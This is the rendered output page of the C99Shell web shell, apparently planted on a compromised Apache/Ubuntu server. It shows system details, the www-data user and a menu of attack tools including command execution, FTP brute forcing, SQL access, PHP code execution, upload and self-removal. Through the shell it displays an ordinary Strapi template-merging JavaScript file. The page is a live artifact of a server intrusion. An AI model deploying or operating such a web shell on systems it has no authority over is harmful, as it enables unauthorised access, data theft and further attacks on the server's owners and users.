!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/wincloud_gateway/node_modules/strapi-generate-new/lib/utils/   drwxr-xr-x
Free 13.33 GB of 57.97 GB (23%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     merge-template.js (6.55 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
'use strict';

const os = require('os');
const path = require('path');
const fse = require('fs-extra');
const _ = require('lodash');
const chalk = require('chalk');

const { getRepoInfo, downloadGitHubRepo } = require('./fetch-github');

// Specify all the files and directories a template can have
const allowChildren = '*';
const allowedTemplateContents = {
  'README.md': true,
  '.env.example': true,
  api: allowChildren,
  components: allowChildren,
  config: {
    functions: allowChildren,
  },
  data: allowChildren,
  plugins: allowChildren,
  public: allowChildren,
  scripts: allowChildren,
};

/**
 * merge template with new project being created
 * @param {string} scope  project creation params
 * @param {string} rootPath  project path
 */
module.exports = async function mergeTemplate(scope, rootPath) {
  // Parse template info
  const repoInfo = await getRepoInfo(scope.template);
  const { fullName } = repoInfo;
  console.log(`Installing ${chalk.yellow(fullName)} template.`);

  // Download template repository to a temporary directory
  const templatePath = await fse.mkdtemp(path.join(os.tmpdir(), 'strapi-'));
  await downloadGitHubRepo(repoInfo, templatePath);

  // Make sure the downloaded template matches the required format
  const { templateConfig } = await checkTemplateRootStructure(templatePath, scope);
  await checkTemplateContentsStructure(path.resolve(templatePath, 'template'));

  // Merge contents of the template in the project
  const fullTemplateUrl = `https://github.com/${fullName}`;
  await mergePackageJSON(rootPath, templateConfig, fullTemplateUrl);
  await mergeFilesAndDirectories(rootPath, templatePath);

  // Delete the downloaded template repo
  await fse.remove(templatePath);
};

// Make sure the template has the required top-level structure
async function checkTemplateRootStructure(templatePath, scope) {
  // Make sure the root of the repo has a template.json or a template.js file
  const templateJsonPath = path.join(templatePath, 'template.json');
  const templateFunctionPath = path.join(templatePath, 'template.js');

  // Store the template config, whether it comes from a JSON or a function
  let templateConfig = {};

  const hasJsonConfig = fse.existsSync(templateJsonPath);
  if (hasJsonConfig) {
    const jsonStat = await fse.stat(templateJsonPath);
    if (!jsonStat.isFile()) {
      throw new Error(`A template's ${chalk.green('template.json')} must be a file`);
    }
    templateConfig = require(templateJsonPath);
  }

  const hasFunctionConfig = fse.existsSync(templateFunctionPath);
  if (hasFunctionConfig) {
    const functionStat = await fse.stat(templateFunctionPath);
    if (!functionStat.isFile()) {
      throw new Error(`A template's ${chalk.green('template.js')} must be a file`);
    }
    // Get the config by passing the scope to the function
    templateConfig = require(templateFunctionPath)(scope);
  }

  // Make sure there's exactly one template config file
  if (!hasJsonConfig && !hasFunctionConfig) {
    throw new Error(
      `A template must have either a ${chalk.green('template.json')} or a ${chalk.green(
        'template.js'
      )} root file`
    );
  } else if (hasJsonConfig && hasFunctionConfig) {
    throw new Error(
      `A template cannot have both ${chalk.green('template.json')} and ${chalk.green(
        'template.js'
      )} root files`
    );
  }

  // Make sure the root of the repo has a template folder
  const templateDirPath = path.join(templatePath, 'template');
  try {
    const stat = await fse.stat(templateDirPath);
    if (!stat.isDirectory()) {
      throw Error(`A template must have a root ${chalk.green('template/')} directory`);
    }
  } catch (error) {
    if (error.code === 'ENOENT') {
      throw Error(`A template must have a root ${chalk.green('template/')} directory`);
    }

    throw error;
  }

  return { templateConfig };
}

// Traverse template tree to make sure each file and folder is allowed
async function checkTemplateContentsStructure(templateContentsPath) {
  // Recursively check if each item in a directory is allowed
  const checkPathContents = (pathToCheck, parents) => {
    const contents = fse.readdirSync(pathToCheck);
    contents.forEach(item => {
      const nextParents = [...parents, item];
      const matchingTreeValue = _.get(allowedTemplateContents, nextParents);

      // Treat files and directories separately
      const itemPath = path.resolve(pathToCheck, item);
      const isDirectory = fse.statSync(itemPath).isDirectory();

      if (matchingTreeValue === undefined) {
        // Unknown paths are forbidden
        throw Error(
          `Illegal template structure, unknown path ${chalk.green(nextParents.join('/'))}`
        );
      }

      if (matchingTreeValue === true) {
        if (!isDirectory) {
          // All good, the file is allowed
          return;
        }
        throw Error(
          `Illegal template structure, expected a file and got a directory at ${chalk.green(
            nextParents.join('/')
          )}`
        );
      }

      if (isDirectory) {
        if (matchingTreeValue === allowChildren) {
          // All children are allowed
          return;
        }
        // Check if the contents of the directory are allowed
        checkPathContents(itemPath, nextParents);
      } else {
        throw Error(
          `Illegal template structure, unknow file ${chalk.green(nextParents.join('/'))}`
        );
      }
    });
  };

  checkPathContents(templateContentsPath, []);
}

// Merge the template's template.json into the Strapi project's package.json
async function mergePackageJSON(rootPath, templateConfig, templateUrl) {
  // Import the package.json as an object
  const packageJSON = require(path.resolve(rootPath, 'package.json'));

  if (!templateConfig.package) {
    // Nothing to overwrite
    return;
  }

  // Make sure the template.json doesn't overwrite the UUID
  if (templateConfig.package.strapi && templateConfig.package.strapi.uuid) {
    throw Error('A template cannot overwrite the Strapi UUID');
  }

  // Use lodash to deeply merge them
  const mergedConfig = _.merge(packageJSON, templateConfig.package);

  // Add starter info to package.json
  _.set(mergedConfig, 'strapi.template', templateUrl);

  // Save the merged config as the new package.json
  const packageJSONPath = path.join(rootPath, 'package.json');
  await fse.writeJSON(packageJSONPath, mergedConfig, { spaces: 2 });
}

// Merge all allowed files and directories
async function mergeFilesAndDirectories(rootPath, templatePath) {
  const templateDir = path.join(templatePath, 'template');
  await fse.copy(templateDir, rootPath, { overwrite: true, recursive: true });
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0827 ]--